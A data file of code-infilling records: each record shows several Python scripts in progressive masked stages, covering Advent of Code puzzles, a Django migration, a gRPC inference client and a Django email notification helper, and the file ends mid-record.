{ "blob_id": "c46495eebbe796253f56b7472d5548b41c5d0bc4", "index": 2411, "step-1": "def part_1() ->int:\n start = 382345\n end = 843167\n total = 0\n for number in range(start, end + 1):\n if check_number(str(number)):\n total += 1\n return total\n\n\n<mask token>\n\n\ndef check_number_2(problem_input: str) ->bool:\n previous = 0\n current = 1\n triple = True\n seen_a_double = False\n length = len(problem_input)\n while current < length:\n if int(problem_input[current]) < int(problem_input[previous]):\n return False\n if int(problem_input[current]) == int(problem_input[previous]):\n if previous >= 1:\n triple = int(problem_input[previous - 1]) == int(problem_input\n [previous])\n if current < length - 1:\n triple = int(problem_input[current + 1]) == int(problem_input\n [current])\n while current < length - 1 and int(problem_input[current]\n ) == int(problem_input[current + 1]):\n current += 1\n previous += 1\n if not triple:\n seen_a_double = True\n previous += 1\n current += 1\n return seen_a_double\n\n\n<mask token>\n\n\ndef main():\n x = '111111'\n print(check_number(x) is True)\n x = '223450'\n print(check_number(x) is False)\n x = '123789'\n print(check_number(x) is False)\n print('PART 1:', part_1())\n x = '112233'\n print(check_number_2(x) is True)\n x = '123444'\n print(check_number_2(x) is False)\n x = '111122'\n print(check_number_2(x) is True)\n x = '112222'\n print(check_number_2(x) is True)\n x = '1112589'\n print(check_number_2(x) is False)\n print('PART 2:', part_2())\n\n\n<mask token>\n", "step-2": "def part_1() ->int:\n start = 382345\n end = 843167\n total = 0\n for number in range(start, end + 1):\n if check_number(str(number)):\n total += 1\n return total\n\n\n<mask token>\n\n\ndef check_number_2(problem_input: str) ->bool:\n previous = 0\n current = 1\n triple = True\n seen_a_double = False\n length = len(problem_input)\n while current < length:\n if int(problem_input[current]) < int(problem_input[previous]):\n return False\n if int(problem_input[current]) == int(problem_input[previous]):\n if previous >= 1:\n triple = int(problem_input[previous - 1]) == int(problem_input\n [previous])\n if current < length - 1:\n triple = int(problem_input[current + 1]) == int(problem_input\n [current])\n while current < length - 1 and int(problem_input[current]\n ) == int(problem_input[current + 1]):\n current += 1\n previous += 1\n if not triple:\n seen_a_double = True\n previous += 1\n current += 1\n return seen_a_double\n\n\ndef part_2() ->int:\n start = 382345\n end = 843167\n total = 0\n for number in range(start, end + 1):\n if check_number_2(str(number)):\n total += 1\n return total\n\n\ndef main():\n x = '111111'\n print(check_number(x) is True)\n x = '223450'\n print(check_number(x) is False)\n x = '123789'\n print(check_number(x) is False)\n print('PART 1:', part_1())\n x = '112233'\n print(check_number_2(x) is True)\n x = '123444'\n print(check_number_2(x) is False)\n x = '111122'\n print(check_number_2(x) is True)\n x = '112222'\n print(check_number_2(x) is True)\n x = '1112589'\n print(check_number_2(x) is False)\n print('PART 2:', part_2())\n\n\n<mask token>\n", "step-3": "def part_1() ->int:\n start = 382345\n end = 843167\n total = 0\n for number in range(start, end + 1):\n if check_number(str(number)):\n total += 1\n return total\n\n\ndef check_number(problem_input: str) ->bool:\n previous = 0\n double = False\n for current in range(1, len(problem_input)):\n if int(problem_input[current]) < int(problem_input[previous]):\n return False\n if int(problem_input[previous]) == int(problem_input[current]):\n double = True\n previous += 1\n return double\n\n\ndef check_number_2(problem_input: str) ->bool:\n previous = 0\n current = 1\n triple = True\n seen_a_double = False\n length = len(problem_input)\n while current < length:\n if int(problem_input[current]) < int(problem_input[previous]):\n return False\n if int(problem_input[current]) == int(problem_input[previous]):\n if previous >= 1:\n triple = int(problem_input[previous - 1]) == int(problem_input\n [previous])\n if current < length - 1:\n triple = int(problem_input[current + 1]) == int(problem_input\n [current])\n while current < length - 1 and int(problem_input[current]\n ) == int(problem_input[current + 1]):\n current += 1\n previous += 1\n if not triple:\n seen_a_double = True\n previous += 1\n current += 1\n return seen_a_double\n\n\ndef part_2() ->int:\n start = 382345\n end = 843167\n total = 0\n for number in range(start, end + 1):\n if check_number_2(str(number)):\n total += 1\n return total\n\n\ndef main():\n x = '111111'\n print(check_number(x) is True)\n x = '223450'\n print(check_number(x) is False)\n x = '123789'\n print(check_number(x) is False)\n print('PART 1:', part_1())\n x = '112233'\n print(check_number_2(x) is True)\n x = '123444'\n print(check_number_2(x) is False)\n x = '111122'\n print(check_number_2(x) is True)\n x = '112222'\n print(check_number_2(x) is True)\n x = '1112589'\n print(check_number_2(x) is False)\n print('PART 2:', part_2())\n\n\n<mask token>\n", "step-4": "def part_1() ->int:\n start = 382345\n end = 843167\n total = 0\n for number in range(start, end + 1):\n if check_number(str(number)):\n total += 1\n return total\n\n\ndef check_number(problem_input: str) ->bool:\n previous = 0\n double = False\n for current in range(1, len(problem_input)):\n if int(problem_input[current]) < int(problem_input[previous]):\n return False\n if int(problem_input[previous]) == int(problem_input[current]):\n double = True\n previous += 1\n return double\n\n\ndef check_number_2(problem_input: str) ->bool:\n previous = 0\n current = 1\n triple = True\n seen_a_double = False\n length = len(problem_input)\n while current < length:\n if int(problem_input[current]) < int(problem_input[previous]):\n return False\n if int(problem_input[current]) == int(problem_input[previous]):\n if previous >= 1:\n triple = int(problem_input[previous - 1]) == int(problem_input\n [previous])\n if current < length - 1:\n triple = int(problem_input[current + 1]) == int(problem_input\n [current])\n while current < length - 1 and int(problem_input[current]\n ) == int(problem_input[current + 1]):\n current += 1\n previous += 1\n if not triple:\n seen_a_double = True\n previous += 1\n current += 1\n return seen_a_double\n\n\ndef part_2() ->int:\n start = 382345\n end = 843167\n total = 0\n for number in range(start, end + 1):\n if check_number_2(str(number)):\n total += 1\n return total\n\n\ndef main():\n x = '111111'\n print(check_number(x) is True)\n x = '223450'\n print(check_number(x) is False)\n x = '123789'\n print(check_number(x) is False)\n print('PART 1:', part_1())\n x = '112233'\n print(check_number_2(x) is True)\n x = '123444'\n print(check_number_2(x) is False)\n x = '111122'\n print(check_number_2(x) is True)\n x = '112222'\n print(check_number_2(x) is True)\n x = '1112589'\n print(check_number_2(x) is False)\n print('PART 2:', part_2())\n\n\nif __name__ == '__main__':\n main()\n", "step-5": "def part_1() -> int:\n start = 382345\n end = 843167\n total = 0\n\n for number in range(start, end + 1):\n if check_number(str(number)):\n total += 1\n\n return total\n\n\ndef check_number(problem_input: str) -> bool:\n previous = 0\n double = False\n for current in range(1, len(problem_input)):\n if int(problem_input[current]) < int(problem_input[previous]):\n return False\n if int(problem_input[previous]) == int(problem_input[current]):\n double = True\n previous += 1\n\n return double\n\n\ndef check_number_2(problem_input: str) -> bool:\n previous = 0\n current = 1\n triple = True\n seen_a_double = False\n length = len(problem_input)\n while current < length:\n if int(problem_input[current]) < int(problem_input[previous]):\n return False\n if int(problem_input[current]) == int(problem_input[previous]):\n if previous >= 1:\n triple = int(problem_input[previous - 1]) == int(problem_input[previous])\n if current < length - 1:\n triple = int(problem_input[current + 1]) == int(problem_input[current])\n while current < length - 1 and int(problem_input[current]) == int(problem_input[current + 1]):\n current += 1\n previous += 1\n if not triple:\n seen_a_double = True\n\n previous += 1\n current += 1\n\n return seen_a_double\n\n\ndef part_2() -> int:\n start = 382345\n end = 843167\n total = 0\n\n for number in range(start, end + 1):\n if check_number_2(str(number)):\n total += 1\n\n return total\n\n\ndef main():\n x = \"111111\"\n print(check_number(x) is True)\n x = \"223450\"\n print(check_number(x) is False)\n x = \"123789\"\n print(check_number(x) is False)\n\n print(\"PART 1:\", part_1()) # should be 460\n\n x = \"112233\"\n print(check_number_2(x) is True)\n x = \"123444\"\n print(check_number_2(x) is False)\n x = \"111122\"\n print(check_number_2(x) is True)\n x = \"112222\"\n print(check_number_2(x) is True)\n x = \"1112589\"\n print(check_number_2(x) is False)\n\n print(\"PART 2:\", part_2())\n\n\nif __name__ == '__main__':\n main()\n", "step-ids": [ 3, 4, 5, 6, 7 ] }

[ 3, 4, 5, 6, 7 ]

input_object = open("input.txt", "r") input_data = input_object.readlines() input_object.close() cleaned_data = [] for line in input_data: cleaned_data.append(int(line.strip())) input_size = len(cleaned_data) for i in range(0, input_size): for j in range(i, input_size): for k in range(j, input_size): if cleaned_data[i] + cleaned_data[j] + cleaned_data[k] == 2020: ans = cleaned_data[i]*cleaned_data[j]*cleaned_data[k] print(ans) break

normal

{ "blob_id": "72f3ae476581ff5acd6c7101764f4764285a47bd", "index": 4426, "step-1": "<mask token>\n", "step-2": "<mask token>\ninput_object.close()\n<mask token>\nfor line in input_data:\n cleaned_data.append(int(line.strip()))\n<mask token>\nfor i in range(0, input_size):\n for j in range(i, input_size):\n for k in range(j, input_size):\n if cleaned_data[i] + cleaned_data[j] + cleaned_data[k] == 2020:\n ans = cleaned_data[i] * cleaned_data[j] * cleaned_data[k]\n print(ans)\n break\n", "step-3": "input_object = open('input.txt', 'r')\ninput_data = input_object.readlines()\ninput_object.close()\ncleaned_data = []\nfor line in input_data:\n cleaned_data.append(int(line.strip()))\ninput_size = len(cleaned_data)\nfor i in range(0, input_size):\n for j in range(i, input_size):\n for k in range(j, input_size):\n if cleaned_data[i] + cleaned_data[j] + cleaned_data[k] == 2020:\n ans = cleaned_data[i] * cleaned_data[j] * cleaned_data[k]\n print(ans)\n break\n", "step-4": "input_object = open(\"input.txt\", \"r\")\ninput_data = input_object.readlines()\ninput_object.close()\ncleaned_data = []\n\nfor line in input_data:\n cleaned_data.append(int(line.strip()))\ninput_size = len(cleaned_data)\n\n\nfor i in range(0, input_size):\n for j in range(i, input_size):\n for k in range(j, input_size):\n if cleaned_data[i] + cleaned_data[j] + cleaned_data[k] == 2020:\n ans = cleaned_data[i]*cleaned_data[j]*cleaned_data[k]\n print(ans)\n break", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }

[ 0, 1, 2, 3 ]

''' Seperate a number into several, maximize their product ''' # recursive def solution1(n): if n <= 4: return n else: return max(map(lambda x: solution1(x)*solution1(n-x), range(1, n//2 + 1))) # dp def solution2(n): result_list = [1,2] for i in range(3, n+1): max_mult = max(list(map(lambda x: result_list[x] * (i-x-1), range(i-1)))) result_list.append(max_mult) print(result_list, i) return max_mult if __name__ == '__main__': result = solution1(8) print(result) result = solution2(8) print(result)

normal

{ "blob_id": "76db5955b29696ca03ab22ef14ac018e0618e9e3", "index": 2729, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef solution2(n):\n result_list = [1, 2]\n for i in range(3, n + 1):\n max_mult = max(list(map(lambda x: result_list[x] * (i - x - 1),\n range(i - 1))))\n result_list.append(max_mult)\n print(result_list, i)\n return max_mult\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef solution1(n):\n if n <= 4:\n return n\n else:\n return max(map(lambda x: solution1(x) * solution1(n - x), range(1, \n n // 2 + 1)))\n\n\ndef solution2(n):\n result_list = [1, 2]\n for i in range(3, n + 1):\n max_mult = max(list(map(lambda x: result_list[x] * (i - x - 1),\n range(i - 1))))\n result_list.append(max_mult)\n print(result_list, i)\n return max_mult\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\ndef solution1(n):\n if n <= 4:\n return n\n else:\n return max(map(lambda x: solution1(x) * solution1(n - x), range(1, \n n // 2 + 1)))\n\n\ndef solution2(n):\n result_list = [1, 2]\n for i in range(3, n + 1):\n max_mult = max(list(map(lambda x: result_list[x] * (i - x - 1),\n range(i - 1))))\n result_list.append(max_mult)\n print(result_list, i)\n return max_mult\n\n\nif __name__ == '__main__':\n result = solution1(8)\n print(result)\n result = solution2(8)\n print(result)\n", "step-5": "'''\nSeperate a number into several, maximize their product\n'''\n\n# recursive\ndef solution1(n):\n if n <= 4:\n return n\n else:\n return max(map(lambda x: solution1(x)*solution1(n-x), range(1, n//2 + 1)))\n\n# dp\ndef solution2(n):\n result_list = [1,2]\n\n for i in range(3, n+1):\n max_mult = max(list(map(lambda x: result_list[x] * (i-x-1), range(i-1))))\n result_list.append(max_mult)\n print(result_list, i)\n\n return max_mult\n\nif __name__ == '__main__':\n result = solution1(8)\n print(result)\n result = solution2(8)\n print(result)", "step-ids": [ 0, 1, 2, 3, 4 ] }

[ 0, 1, 2, 3, 4 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Migration(migrations.Migration): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Migration(migrations.Migration): dependencies = [('myems', '0004_auto_20201118_1446')] operations = [migrations.RenameField(model_name='dg', old_name='sn', new_name='id'), migrations.AddField(model_name='dg', name= 'code_ean13', field=models.CharField(default=0, max_length=50), preserve_default=False), migrations.AddField(model_name='dg', name= 'commercial_designation_in_english', field=models.CharField(default =0, max_length=100), preserve_default=False), migrations. AlterModelTable(name='dg', table='dg_gen')] <|reserved_special_token_1|> from django.db import migrations, models class Migration(migrations.Migration): dependencies = [('myems', '0004_auto_20201118_1446')] operations = [migrations.RenameField(model_name='dg', old_name='sn', new_name='id'), migrations.AddField(model_name='dg', name= 'code_ean13', field=models.CharField(default=0, max_length=50), preserve_default=False), migrations.AddField(model_name='dg', name= 'commercial_designation_in_english', field=models.CharField(default =0, max_length=100), preserve_default=False), migrations. AlterModelTable(name='dg', table='dg_gen')] <|reserved_special_token_1|> # Generated by Django 3.1.3 on 2020-11-19 06:19 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('myems', '0004_auto_20201118_1446'), ] operations = [ migrations.RenameField( model_name='dg', old_name='sn', new_name='id', ), migrations.AddField( model_name='dg', name='code_ean13', field=models.CharField(default=0, max_length=50), preserve_default=False, ), migrations.AddField( model_name='dg', name='commercial_designation_in_english', field=models.CharField(default=0, max_length=100), preserve_default=False, ), migrations.AlterModelTable( name='dg', table='dg_gen', ), ]

flexible

{ "blob_id": "11d96a8a400afb0861b92d8900e003826614c99a", "index": 7502, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('myems', '0004_auto_20201118_1446')]\n operations = [migrations.RenameField(model_name='dg', old_name='sn',\n new_name='id'), migrations.AddField(model_name='dg', name=\n 'code_ean13', field=models.CharField(default=0, max_length=50),\n preserve_default=False), migrations.AddField(model_name='dg', name=\n 'commercial_designation_in_english', field=models.CharField(default\n =0, max_length=100), preserve_default=False), migrations.\n AlterModelTable(name='dg', table='dg_gen')]\n", "step-4": "from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [('myems', '0004_auto_20201118_1446')]\n operations = [migrations.RenameField(model_name='dg', old_name='sn',\n new_name='id'), migrations.AddField(model_name='dg', name=\n 'code_ean13', field=models.CharField(default=0, max_length=50),\n preserve_default=False), migrations.AddField(model_name='dg', name=\n 'commercial_designation_in_english', field=models.CharField(default\n =0, max_length=100), preserve_default=False), migrations.\n AlterModelTable(name='dg', table='dg_gen')]\n", "step-5": "# Generated by Django 3.1.3 on 2020-11-19 06:19\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('myems', '0004_auto_20201118_1446'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='dg',\n old_name='sn',\n new_name='id',\n ),\n migrations.AddField(\n model_name='dg',\n name='code_ean13',\n field=models.CharField(default=0, max_length=50),\n preserve_default=False,\n ),\n migrations.AddField(\n model_name='dg',\n name='commercial_designation_in_english',\n field=models.CharField(default=0, max_length=100),\n preserve_default=False,\n ),\n migrations.AlterModelTable(\n name='dg',\n table='dg_gen',\n ),\n ]\n", "step-ids": [ 0, 1, 2, 3, 4 ] }

[ 0, 1, 2, 3, 4 ]

import grpc import time import json import sys import uuid from arch.api.proto import inference_service_pb2 from arch.api.proto import inference_service_pb2_grpc import threading def run(address): ths = [] with grpc.insecure_channel(address) as channel: for i in range(1): th = threading.Thread(target=send, args=(channel,)) ths.append(th) st = int(time.time()) for th in ths: th.start() for th in ths: th.join() et = int(time.time()) def process_response(call_future): print(call_future.result()) def send(channel): stub = inference_service_pb2_grpc.InferenceServiceStub(channel) request = inference_service_pb2.InferenceMessage() request_data = dict() request_data['serviceId'] = 'xxxxxxxxx' request_data['applyId'] = '' # request_data['modelId'] = 'arbiter-10000#guest-10000#host-10000#model' # You can specify the model id this way # request_data['modelVersion'] = 'acd3e1807a1211e9969aacde48001122' # You can specify the model version this way request_data['caseid'] = uuid.uuid1().hex feature_data = dict() feature_data['fid1'] = 5.1 feature_data['fid2'] = 6.2 feature_data['fid3'] = 7.6 request_data['featureData'] = feature_data request_data['sendToRemoteFeatureData'] = feature_data print(json.dumps(request_data, indent=4)) request.body = json.dumps(request_data).encode(encoding='utf-8') print(stub.inference(request)) if __name__ == '__main__': run(sys.argv[1])

normal

{ "blob_id": "5430e1861a6244c25c00699323efa0921a5af940", "index": 3709, "step-1": "<mask token>\n\n\ndef run(address):\n ths = []\n with grpc.insecure_channel(address) as channel:\n for i in range(1):\n th = threading.Thread(target=send, args=(channel,))\n ths.append(th)\n st = int(time.time())\n for th in ths:\n th.start()\n for th in ths:\n th.join()\n et = int(time.time())\n\n\n<mask token>\n\n\ndef send(channel):\n stub = inference_service_pb2_grpc.InferenceServiceStub(channel)\n request = inference_service_pb2.InferenceMessage()\n request_data = dict()\n request_data['serviceId'] = 'xxxxxxxxx'\n request_data['applyId'] = ''\n request_data['caseid'] = uuid.uuid1().hex\n feature_data = dict()\n feature_data['fid1'] = 5.1\n feature_data['fid2'] = 6.2\n feature_data['fid3'] = 7.6\n request_data['featureData'] = feature_data\n request_data['sendToRemoteFeatureData'] = feature_data\n print(json.dumps(request_data, indent=4))\n request.body = json.dumps(request_data).encode(encoding='utf-8')\n print(stub.inference(request))\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef run(address):\n ths = []\n with grpc.insecure_channel(address) as channel:\n for i in range(1):\n th = threading.Thread(target=send, args=(channel,))\n ths.append(th)\n st = int(time.time())\n for th in ths:\n th.start()\n for th in ths:\n th.join()\n et = int(time.time())\n\n\ndef process_response(call_future):\n print(call_future.result())\n\n\ndef send(channel):\n stub = inference_service_pb2_grpc.InferenceServiceStub(channel)\n request = inference_service_pb2.InferenceMessage()\n request_data = dict()\n request_data['serviceId'] = 'xxxxxxxxx'\n request_data['applyId'] = ''\n request_data['caseid'] = uuid.uuid1().hex\n feature_data = dict()\n feature_data['fid1'] = 5.1\n feature_data['fid2'] = 6.2\n feature_data['fid3'] = 7.6\n request_data['featureData'] = feature_data\n request_data['sendToRemoteFeatureData'] = feature_data\n print(json.dumps(request_data, indent=4))\n request.body = json.dumps(request_data).encode(encoding='utf-8')\n print(stub.inference(request))\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef run(address):\n ths = []\n with grpc.insecure_channel(address) as channel:\n for i in range(1):\n th = threading.Thread(target=send, args=(channel,))\n ths.append(th)\n st = int(time.time())\n for th in ths:\n th.start()\n for th in ths:\n th.join()\n et = int(time.time())\n\n\ndef process_response(call_future):\n print(call_future.result())\n\n\ndef send(channel):\n stub = inference_service_pb2_grpc.InferenceServiceStub(channel)\n request = inference_service_pb2.InferenceMessage()\n request_data = dict()\n request_data['serviceId'] = 'xxxxxxxxx'\n request_data['applyId'] = ''\n request_data['caseid'] = uuid.uuid1().hex\n feature_data = dict()\n feature_data['fid1'] = 5.1\n feature_data['fid2'] = 6.2\n feature_data['fid3'] = 7.6\n request_data['featureData'] = feature_data\n request_data['sendToRemoteFeatureData'] = feature_data\n print(json.dumps(request_data, indent=4))\n request.body = json.dumps(request_data).encode(encoding='utf-8')\n print(stub.inference(request))\n\n\nif __name__ == '__main__':\n run(sys.argv[1])\n", "step-4": "import grpc\nimport time\nimport json\nimport sys\nimport uuid\nfrom arch.api.proto import inference_service_pb2\nfrom arch.api.proto import inference_service_pb2_grpc\nimport threading\n\n\ndef run(address):\n ths = []\n with grpc.insecure_channel(address) as channel:\n for i in range(1):\n th = threading.Thread(target=send, args=(channel,))\n ths.append(th)\n st = int(time.time())\n for th in ths:\n th.start()\n for th in ths:\n th.join()\n et = int(time.time())\n\n\ndef process_response(call_future):\n print(call_future.result())\n\n\ndef send(channel):\n stub = inference_service_pb2_grpc.InferenceServiceStub(channel)\n request = inference_service_pb2.InferenceMessage()\n request_data = dict()\n request_data['serviceId'] = 'xxxxxxxxx'\n request_data['applyId'] = ''\n request_data['caseid'] = uuid.uuid1().hex\n feature_data = dict()\n feature_data['fid1'] = 5.1\n feature_data['fid2'] = 6.2\n feature_data['fid3'] = 7.6\n request_data['featureData'] = feature_data\n request_data['sendToRemoteFeatureData'] = feature_data\n print(json.dumps(request_data, indent=4))\n request.body = json.dumps(request_data).encode(encoding='utf-8')\n print(stub.inference(request))\n\n\nif __name__ == '__main__':\n run(sys.argv[1])\n", "step-5": "import grpc\nimport time\nimport json\nimport sys\nimport uuid\n\nfrom arch.api.proto import inference_service_pb2\nfrom arch.api.proto import inference_service_pb2_grpc\nimport threading\n\n\ndef run(address):\n ths = []\n with grpc.insecure_channel(address) as channel:\n for i in range(1):\n th = threading.Thread(target=send, args=(channel,))\n ths.append(th)\n st = int(time.time())\n for th in ths:\n th.start()\n for th in ths:\n th.join()\n et = int(time.time())\n\n\ndef process_response(call_future):\n print(call_future.result())\n\n\ndef send(channel):\n stub = inference_service_pb2_grpc.InferenceServiceStub(channel)\n request = inference_service_pb2.InferenceMessage()\n request_data = dict()\n request_data['serviceId'] = 'xxxxxxxxx'\n request_data['applyId'] = ''\n # request_data['modelId'] = 'arbiter-10000#guest-10000#host-10000#model' # You can specify the model id this way\n # request_data['modelVersion'] = 'acd3e1807a1211e9969aacde48001122' # You can specify the model version this way\n request_data['caseid'] = uuid.uuid1().hex\n\n feature_data = dict()\n feature_data['fid1'] = 5.1\n feature_data['fid2'] = 6.2\n feature_data['fid3'] = 7.6\n request_data['featureData'] = feature_data\n request_data['sendToRemoteFeatureData'] = feature_data\n\n print(json.dumps(request_data, indent=4))\n\n request.body = json.dumps(request_data).encode(encoding='utf-8')\n print(stub.inference(request))\n\n\nif __name__ == '__main__':\n run(sys.argv[1])\n", "step-ids": [ 2, 3, 4, 5, 6 ] }

[ 2, 3, 4, 5, 6 ]

import hashlib from django.conf import settings from django.core import mail from django.core.mail import EmailMultiAlternatives from django.template.loader import render_to_string from django.utils.crypto import get_random_string def hexdigest_sha256(*args): r = hashlib.sha256() for arg in args: r.update(str(arg).encode('utf-8')) return r.hexdigest() def get_reply_addr(message_id, dest): if not hasattr(settings, 'REPLY_EMAIL'): return [] addr = settings.REPLY_EMAIL pos = addr.find('@') name = addr[:pos] domain = addr[pos:] key = hexdigest_sha256(settings.SECRET_KEY, message_id, dest.pk)[0:12] return ['%s+%s%s%s%s' % (name, dest.profile.email_token, message_id, key, domain)] def generate_message_token(): return get_random_string(length=60, allowed_chars='abcdefghijklmnopqrstuvwxyz0123456789') def notify_by_email(template, data, subject, sender, dests, message_id, ref=None): if hasattr(settings, 'REPLY_EMAIL') and hasattr(settings, 'REPLY_KEY'): data.update({'answering': True}) text_message = render_to_string('conversations/emails/%s.txt' % template, data) html_message = render_to_string('conversations/emails/%s.html' % template, data) from_email = '{name} <{email}>'.format( name=sender.get_full_name() or sender.username, email=settings.DEFAULT_FROM_EMAIL) # Generating headers headers = {'Message-ID': "<%s.%s>" % (message_id, settings.DEFAULT_FROM_EMAIL)} if ref: # This email reference a previous one headers.update({ 'References': '<%s.%s>' % (ref, settings.DEFAULT_FROM_EMAIL), }) mails = [] for dest in dests: if not dest.email: continue reply_to = get_reply_addr(message_id, dest) mails += [(subject, (text_message, html_message), from_email, [dest.email], reply_to, headers)] messages = [] for subject, message, from_email, dest_emails, reply_to, headers in mails: text_message, html_message = message msg = EmailMultiAlternatives(subject, text_message, from_email, dest_emails, reply_to=reply_to, headers=headers) msg.attach_alternative(html_message, 'text/html') messages += [msg] with mail.get_connection() as connection: connection.send_messages(messages)

normal

{ "blob_id": "a35004e2b306ba1a8649ce66a1612f63a2b6bf39", "index": 2673, "step-1": "<mask token>\n\n\ndef hexdigest_sha256(*args):\n r = hashlib.sha256()\n for arg in args:\n r.update(str(arg).encode('utf-8'))\n return r.hexdigest()\n\n\n<mask token>\n\n\ndef notify_by_email(template, data, subject, sender, dests, message_id, ref\n =None):\n if hasattr(settings, 'REPLY_EMAIL') and hasattr(settings, 'REPLY_KEY'):\n data.update({'answering': True})\n text_message = render_to_string('conversations/emails/%s.txt' %\n template, data)\n html_message = render_to_string('conversations/emails/%s.html' %\n template, data)\n from_email = '{name} <{email}>'.format(name=sender.get_full_name() or\n sender.username, email=settings.DEFAULT_FROM_EMAIL)\n headers = {'Message-ID': '<%s.%s>' % (message_id, settings.\n DEFAULT_FROM_EMAIL)}\n if ref:\n headers.update({'References': '<%s.%s>' % (ref, settings.\n DEFAULT_FROM_EMAIL)})\n mails = []\n for dest in dests:\n if not dest.email:\n continue\n reply_to = get_reply_addr(message_id, dest)\n mails += [(subject, (text_message, html_message), from_email, [dest\n .email], reply_to, headers)]\n messages = []\n for subject, message, from_email, dest_emails, reply_to, headers in mails:\n text_message, html_message = message\n msg = EmailMultiAlternatives(subject, text_message, from_email,\n dest_emails, reply_to=reply_to, headers=headers)\n msg.attach_alternative(html_message, 'text/html')\n messages += [msg]\n with mail.get_connection() as connection:\n connection.send_messages(messages)\n", "step-2": "<mask token>\n\n\ndef hexdigest_sha256(*args):\n r = hashlib.sha256()\n for arg in args:\n r.update(str(arg).encode('utf-8'))\n return r.hexdigest()\n\n\n<mask token>\n\n\ndef generate_message_token():\n return get_random_string(length=60, allowed_chars=\n 'abcdefghijklmnopqrstuvwxyz0123456789')\n\n\ndef notify_by_email(template, data, subject, sender, dests, message_id, ref\n =None):\n if hasattr(settings, 'REPLY_EMAIL') and hasattr(settings, 'REPLY_KEY'):\n data.update({'answering': True})\n text_message = render_to_string('conversations/emails/%s.txt' %\n template, data)\n html_message = render_to_string('conversations/emails/%s.html' %\n template, data)\n from_email = '{name} <{email}>'.format(name=sender.get_full_name() or\n sender.username, email=settings.DEFAULT_FROM_EMAIL)\n headers = {'Message-ID': '<%s.%s>' % (message_id, settings.\n DEFAULT_FROM_EMAIL)}\n if ref:\n headers.update({'References': '<%s.%s>' % (ref, settings.\n DEFAULT_FROM_EMAIL)})\n mails = []\n for dest in dests:\n if not dest.email:\n continue\n reply_to = get_reply_addr(message_id, dest)\n mails += [(subject, (text_message, html_message), from_email, [dest\n .email], reply_to, headers)]\n messages = []\n for subject, message, from_email, dest_emails, reply_to, headers in mails:\n text_message, html_message = message\n msg = EmailMultiAlternatives(subject, text_message, from_email,\n dest_emails, reply_to=reply_to, headers=headers)\n msg.attach_alternative(html_message, 'text/html')\n messages += [msg]\n with mail.get_connection() as connection:\n connection.send_messages(messages)\n", "step-3": "<mask token>\n\n\ndef hexdigest_sha256(*args):\n r = hashlib.sha256()\n for arg in args:\n r.update(str(arg).encode('utf-8'))\n return r.hexdigest()\n\n\ndef get_reply_addr(message_id, dest):\n if not hasattr(settings, 'REPLY_EMAIL'):\n return []\n addr = settings.REPLY_EMAIL\n pos = addr.find('@')\n name = addr[:pos]\n domain = addr[pos:]\n key = hexdigest_sha256(settings.SECRET_KEY, message_id, dest.pk)[0:12]\n return ['%s+%s%s%s%s' % (name, dest.profile.email_token, message_id,\n key, domain)]\n\n\ndef generate_message_token():\n return get_random_string(length=60, allowed_chars=\n 'abcdefghijklmnopqrstuvwxyz0123456789')\n\n\ndef notify_by_email(template, data, subject, sender, dests, message_id, ref\n =None):\n if hasattr(settings, 'REPLY_EMAIL') and hasattr(settings, 'REPLY_KEY'):\n data.update({'answering': True})\n text_message = render_to_string('conversations/emails/%s.txt' %\n template, data)\n html_message = render_to_string('conversations/emails/%s.html' %\n template, data)\n from_email = '{name} <{email}>'.format(name=sender.get_full_name() or\n sender.username, email=settings.DEFAULT_FROM_EMAIL)\n headers = {'Message-ID': '<%s.%s>' % (message_id, settings.\n DEFAULT_FROM_EMAIL)}\n if ref:\n headers.update({'References': '<%s.%s>' % (ref, settings.\n DEFAULT_FROM_EMAIL)})\n mails = []\n for dest in dests:\n if not dest.email:\n continue\n reply_to = get_reply_addr(message_id, dest)\n mails += [(subject, (text_message, html_message), from_email, [dest\n .email], reply_to, headers)]\n messages = []\n for subject, message, from_email, dest_emails, reply_to, headers in mails:\n text_message, html_message = message\n msg = EmailMultiAlternatives(subject, text_message, from_email,\n dest_emails, reply_to=reply_to, headers=headers)\n msg.attach_alternative(html_message, 'text/html')\n messages += [msg]\n with mail.get_connection() as connection:\n connection.send_messages(messages)\n", "step-4": "import hashlib\nfrom django.conf import settings\nfrom django.core import mail\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.template.loader import render_to_string\nfrom django.utils.crypto import get_random_string\n\n\ndef hexdigest_sha256(*args):\n r = hashlib.sha256()\n for arg in args:\n r.update(str(arg).encode('utf-8'))\n return r.hexdigest()\n\n\ndef get_reply_addr(message_id, dest):\n if not hasattr(settings, 'REPLY_EMAIL'):\n return []\n addr = settings.REPLY_EMAIL\n pos = addr.find('@')\n name = addr[:pos]\n domain = addr[pos:]\n key = hexdigest_sha256(settings.SECRET_KEY, message_id, dest.pk)[0:12]\n return ['%s+%s%s%s%s' % (name, dest.profile.email_token, message_id,\n key, domain)]\n\n\ndef generate_message_token():\n return get_random_string(length=60, allowed_chars=\n 'abcdefghijklmnopqrstuvwxyz0123456789')\n\n\ndef notify_by_email(template, data, subject, sender, dests, message_id, ref\n =None):\n if hasattr(settings, 'REPLY_EMAIL') and hasattr(settings, 'REPLY_KEY'):\n data.update({'answering': True})\n text_message = render_to_string('conversations/emails/%s.txt' %\n template, data)\n html_message = render_to_string('conversations/emails/%s.html' %\n template, data)\n from_email = '{name} <{email}>'.format(name=sender.get_full_name() or\n sender.username, email=settings.DEFAULT_FROM_EMAIL)\n headers = {'Message-ID': '<%s.%s>' % (message_id, settings.\n DEFAULT_FROM_EMAIL)}\n if ref:\n headers.update({'References': '<%s.%s>' % (ref, settings.\n 